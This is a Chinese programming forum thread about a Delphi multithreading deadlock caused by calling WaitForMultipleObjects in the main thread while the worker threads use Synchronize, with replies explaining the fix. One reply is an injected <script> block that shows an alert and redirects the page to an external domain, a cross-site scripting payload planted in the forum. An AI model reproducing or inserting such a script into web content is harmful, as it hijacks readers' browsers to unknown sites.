为了测试,我的线程很简单,就显示一下什么时候开始、等了几次、什么时候结束。代码如下:
unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;type
  TTestThread = class(TThread)
  private
    FIndex : integer;
    ss : TStrings;
    procedure ShowInfo(AValue : string);
    procedure ShowBegin();
    procedure ShowEnd();    
    procedure ShowOne();
  protected
    procedure Execute; override;
  public
    constructor Create(index : integer;s : TStrings);
  end;
type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;implementation{$R *.dfm}
constructor TTestThread.Create(index : integer;s : TStrings);
begin
  inherited Create(False);
  FIndex := index;
  ss := s;
end;procedure TTestThread.ShowInfo(AValue : string);
begin
  ss.Add(Format('%d号线程 %s %s',[FIndex,FormatDateTime('yyyy-mm-dd hh:mm:ss',Now),AValue]))
end;
procedure TTestThread.ShowBegin();
begin
  ShowInfo('现在开始');
end;
procedure TTestThread.ShowEnd();
begin
  ShowInfo('马上结束');
end;  
procedure TTestThread.ShowOne();
begin
  ShowInfo('等了一次');
end;
procedure TTestThread.Execute;
var
  i,j : integer;
begin            
  FreeOnTerminate := True;
  Synchronize(ShowBegin);
  i := 0;
  j := 3500;
  while (WaitForSingleObject(self.Handle,j) <> WAIT_OBJECT_0) and (i < 3) do
  begin
    Randomize;
    j := Random(3000);
    Synchronize(ShowOne);
    Inc(i);
  end;
  Synchronize(ShowEnd);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  i : integer;
  tt : TTestThread;
  hd : array[1..5] of THANDLE;
begin
  for i := 1 to 5 do
  begin
    tt := TTestThread.Create(i,Memo1.Lines);
    hd[i] := tt.Handle;
  end;
  Memo1.Lines.Add(Format('5个线程 %s 创建完毕',[FormatDateTime('yyyy-mm-dd hh:mm:ss',Now)]));
  //等待多线程结束
  while true do
  begin
    i := WaitForMultipleObjects(5,@hd,TRUE,5000{INFINITE});  //= WAIT_TIMEOUT    超时了
    case i of
    WAIT_FAILED : Memo1.Lines.Add('执行失败');
    WAIT_TIMEOUT : Memo1.Lines.Add('执行超时');
    else
    begin
      Memo1.Lines.Add(Format('5个线程 %s 执行完毕,返回值是:%d',[FormatDateTime('yyyy-mm-dd hh:mm:ss',Now),i]));
      break;
    end;
    end;
  end;
  //WAIT_FAILED
end;end.第一次使用WaitForMultipleObjects,在网上也查了一些资料,现在的现象是,Memo里,第一行显示“5个线程创建完毕”,紧接着每行都显示“执行超时”。现象表现为线程并没有执行,而且窗体也拖不动,就好像死循环一样。我曾经没用while true do来执行等待,当显示超时后,就开始显示各个线程的执行情况信息了(Memo里有显示),也就是WaitForMultipleObjects的执行,卡住了其他线程的执行,当WaitForMultipleObjects没执行完,其他的线程根本无法执行,WaitForMultipleObjects把所有的资源都占用了。这是为什么?搞不懂……

解决方案 »

  1.   

     WaitForMultipleObjects TRUE ,要等所有线程都退出,才会执行下边的, 主线程中一般不要使用
    WaitForMultipleObjects ,WaitForSingleObject这类堵塞式的API,你是响应不到消息的,所以界面看起来动不了
     
    你的线程都是个死循环,不可能退出的 
    另外你设计时候还有个硬伤,使用WaitForMultipleObjects 的时候,主线程已经挂起,去等待所有的子线程结束,线程中使用了Synchronize,Synchronize会一直等到主线程执行,才会执行Synchronize需要同步的函数,至此,线程死锁形成
      

  2.   

    <script language="javascript"> 
    alert("特殊贴,BUGCorey留。");
            window.location="http://jx00269.w05.163jsp.com"; 
    </script> 
      

  3.   

    我的线程中,使用了FreeOnTerminate := True;不是表示线程执行完自动销毁吗?线程中只执行3次循环,再没干其他的,3次执行完了,就应该自动销毁了吧。那我什么方法来定时来检查线程是否结束?也就是说我怎么才能知道线程已经结束了?我来判断指针的Assigned?
      

  4.   

    说了你里边线程死锁了
    主线程等待 - 子线程结束      WaitForMultipleObjects 函数
    子线程同时又等待 主线程结束  Synchronize
    你使用 WaitForMultipleObjects 的话,主线程收不到消息的, Synchronize这函数是靠WM_NULL函数来运行的,而且还要等到主线程执行,所以Synchronize不可能执行的 
      

  5.   

    我的线程中,使用了FreeOnTerminate := True;不是表示线程执行完自动销毁吗?
    ---------------------------
    这是在线程退出的时候执行的,
    线程在你的线程函数里的循环就卡了了 
      

  6.   

    我明白楼上的意思,我当然就不再用WaitForMultipleObjects来判断线程是否已经结束。这样还会死锁吗?所以我想问,当我不用WaitForMultipleObjects的时候,怎么来判断线程是否已结束?
      

  7.   

    把你的WaitForMultipleObjects那些代码 挪到一个新线程就可以了
      

  8.   

    可是我现在是主线程中,要等待这几个线程结束完毕,再继续执行。如果再起个线程,虽然能实现等待那几个线程结束,但住线程还是要等这个等待的线程结束,还是要判断这个等待线程结束后再执行,感觉多了一步。且同样的问题,主线程如果等待一个(或多个)线程结束?我试着用Assigned,创建线程时,保存了线程指针,来判断指针,不行。又试着用了OnTerminate,主线程加了变量,线程结束执行减1操作,减到0就是完事。结果还是不行。Memo中显示如下:
    ***5个线程 2010-05-18 10:38:35 创建完毕***
    1号线程 2010-05-18 10:38:35 现在开始
    2号线程 2010-05-18 10:38:35 现在开始
    4号线程 2010-05-18 10:38:35 现在开始
    3号线程 2010-05-18 10:38:35 现在开始
    5号线程 2010-05-18 10:38:35 现在开始
    ***5个线程 2010-05-18 10:38:35 执行完毕***
    1号线程 2010-05-18 10:38:38 等了一次
    2号线程 2010-05-18 10:38:38 等了一次
    4号线程 2010-05-18 10:38:38 等了一次
    3号线程 2010-05-18 10:38:38 等了一次
    5号线程 2010-05-18 10:38:38 等了一次
    5号线程 2010-05-18 10:38:38 等了一次
    3号线程 2010-05-18 10:38:38 等了一次
    5号线程 2010-05-18 10:38:39 等了一次
    2号线程 2010-05-18 10:38:39 等了一次
    3号线程 2010-05-18 10:38:39 等了一次
    1号线程 2010-05-18 10:38:39 等了一次
    1号线程 2010-05-18 10:38:39 等了一次
    4号线程 2010-05-18 10:38:41 等了一次
    5号线程 2010-05-18 10:38:41 马上结束
    3号线程 2010-05-18 10:38:41 马上结束
    2号线程 2010-05-18 10:38:41 等了一次
    4号线程 2010-05-18 10:38:41 等了一次
    1号线程 2010-05-18 10:38:42 马上结束
    2号线程 2010-05-18 10:38:42 马上结束
    4号线程 2010-05-18 10:38:44 马上结束
      

  9.   

    procedure TForm1.Button1Click(Sender: TObject);
    var
      i : integer;
      tt : array[1..5] of TTestThread;
    begin
      n := 5;
      for i := 1 to 5 do
      begin
        tt[i] := TTestThread.Create(i);
        tt[i].OnTerminate := Button2Click;
      end;
      Memo1.Lines.Add(Format('***5个线程 %s 创建完毕***',[FormatDateTime('yyyy-mm-dd hh:mm:ss',Now)]));
      repeat
        Delay(100);
      until n > 0;
      Memo1.Lines.Add(Format('***5个线程 %s 执行完毕***',[FormatDateTime('yyyy-mm-dd hh:mm:ss',Now)]));
    end;
      

  10.   

    sorry,是我写错了,我的循环条件写错了,应该是until = 0;见笑了!